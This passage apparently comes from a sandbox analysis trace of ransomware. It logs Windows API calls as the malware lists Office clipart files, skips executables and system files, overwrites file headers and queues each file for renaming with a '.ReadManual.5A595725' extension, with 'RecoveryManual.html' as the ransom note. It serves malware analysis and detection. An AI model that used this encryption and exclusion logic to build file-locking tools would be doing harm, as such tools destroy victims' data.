0x20 [0273.608] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.609] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=198648) returned 1 [0273.609] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x307f8, lpName=0x0) returned 0x184 [0273.609] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.610] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.610] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.611] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.612] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x307f8) returned 0x2690000 [0273.618] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0273.619] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39428750155) returned 1 [0273.619] CloseHandle (hObject=0x184) returned 1 [0273.619] SetSecurityInfo () returned 0x57 [0273.619] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.619] CloseHandle (hObject=0x194) returned 1 [0273.619] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0273.619] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02759J.JPG" | out: lpString1="PH02759J.JPG") returned="PH02759J.JPG" [0273.619] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.619] StrStrIW (lpFirst="PH02759J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.619] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.619] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.619] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.619] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.619] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.619] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.619] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.619] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.619] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.619] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.619] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.619] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.619] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.619] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.620] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" [0273.620] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.ReadManual.5A595725" [0273.620] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.ReadManual.5A595725") returned 87 [0273.620] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39428837482) returned 1 [0273.620] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg")) returned 0x20 [0273.620] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.620] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=41170) returned 1 [0273.620] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa0d2, lpName=0x0) returned 0x184 [0273.620] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.621] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.621] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.623] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.623] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa0d2) returned 0x2f0000 [0273.624] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.625] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39429338038) returned 1 [0273.625] CloseHandle (hObject=0x184) returned 1 [0273.625] SetSecurityInfo () returned 0x57 [0273.625] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.625] CloseHandle (hObject=0x194) returned 1 [0273.625] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0273.625] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02810J.JPG" | out: lpString1="PH02810J.JPG") returned="PH02810J.JPG" [0273.625] lstrcmpiW (lpString1="PH02810J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.625] StrStrIW (lpFirst="PH02810J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.625] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.625] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.625] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.625] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.625] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.625] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.625] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.625] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.625] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.625] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.625] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.625] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.625] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.625] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.625] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" [0273.625] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.ReadManual.5A595725" [0273.625] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.ReadManual.5A595725") returned 87 [0273.625] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39429426530) returned 1 [0273.626] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg")) returned 0x20 [0273.626] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.626] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=50647) returned 1 [0273.626] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5d7, lpName=0x0) returned 0x184 [0273.626] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.627] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.627] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.628] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.629] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5d7) returned 0x2f0000 [0273.630] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.630] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39429885836) returned 1 [0273.630] CloseHandle (hObject=0x184) returned 1 [0273.630] SetSecurityInfo () returned 0x57 [0273.630] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.630] CloseHandle (hObject=0x194) returned 1 [0273.630] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0273.630] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02829J.JPG" | out: lpString1="PH02829J.JPG") returned="PH02829J.JPG" [0273.630] lstrcmpiW (lpString1="PH02829J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.630] StrStrIW (lpFirst="PH02829J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.631] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.631] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.631] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.631] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.631] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.631] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.631] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.631] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.631] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.631] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.631] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.631] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.631] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.631] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.631] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" [0273.631] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.ReadManual.5A595725" [0273.631] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.ReadManual.5A595725") returned 87 [0273.631] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39429971578) returned 1 [0273.631] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg")) returned 0x20 [0273.631] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.632] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=62520) returned 1 [0273.632] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf438, lpName=0x0) returned 0x184 [0273.632] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.632] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.632] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.634] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.634] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf438) returned 0x2f0000 [0273.635] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.636] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39430450477) returned 1 [0273.636] CloseHandle (hObject=0x184) returned 1 [0273.636] SetSecurityInfo () returned 0x57 [0273.636] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.636] CloseHandle (hObject=0x194) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0273.636] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02845G.GIF" | out: lpString1="PH02845G.GIF") returned="PH02845G.GIF" [0273.636] lstrcmpiW (lpString1="PH02845G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.636] StrStrIW (lpFirst="PH02845G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.636] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.636] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.636] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.636] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.636] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.636] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.636] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.636] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.636] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.636] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.636] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.636] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.636] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.636] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.637] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" [0273.637] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.ReadManual.5A595725" [0273.637] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.ReadManual.5A595725") returned 87 [0273.637] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39430540746) returned 1 [0273.637] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif")) returned 0x20 [0273.637] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.638] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12530) returned 1 [0273.638] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30f2, lpName=0x0) returned 0x184 [0273.638] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.639] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.639] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.640] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.640] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30f2) returned 0x2f0000 [0273.640] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.641] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39430939157) returned 1 [0273.641] CloseHandle (hObject=0x184) returned 1 [0273.641] SetSecurityInfo () returned 0x57 [0273.641] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.641] CloseHandle (hObject=0x194) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0273.641] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02897J.JPG" | out: lpString1="PH02897J.JPG") returned="PH02897J.JPG" [0273.641] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.641] StrStrIW (lpFirst="PH02897J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.641] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.641] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.641] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.641] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.641] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.641] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.641] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.641] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.641] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.641] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.641] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.641] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.641] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.641] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.641] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" [0273.641] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.ReadManual.5A595725" [0273.641] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.ReadManual.5A595725") returned 87 [0273.641] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39431018154) returned 1 [0273.641] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg")) returned 0x20 [0273.643] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.643] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15429) returned 1 [0273.643] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c45, lpName=0x0) returned 0x184 [0273.643] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.644] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.644] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.646] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.646] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, 